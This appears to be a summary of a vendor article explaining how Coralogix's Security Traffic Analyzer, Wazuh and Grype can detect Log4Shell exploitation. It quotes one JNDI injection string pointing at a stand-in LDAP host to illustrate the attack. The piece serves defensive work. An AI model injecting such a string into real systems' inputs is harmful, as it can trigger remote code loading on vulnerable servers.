How to Detect Log4Shell Events Using Coralogix

Log4Shell, a vulnerability in the widely-used Log4J Java logging library, was discovered in November 2021 and publicly disclosed in December 2021, allowing attackers to execute arbitrary code on machines using vulnerable versions. The attack exploits user-controlled data that is logged, using a string like ${jndi:ldap://example.com/file} to trigger the server to connect to an external LDAP server, revealing vulnerable servers' domain names and IP addresses. Coralogix offers a solution to detect and investigate Log4Shell incidents through comprehensive logging and alerting systems, including the use of its Security Traffic Analyzer (STA) in both passive and active modes, and integration with tools like Wazuh and Grype to identify vulnerabilities. The STA can detect DNS requests to command and control servers even if the communication is encrypted, while Wazuh helps detect vulnerable software packages before exploitation occurs. Coralogix's system allows for efficient threat detection and response, enhancing security measures against such vulnerabilities.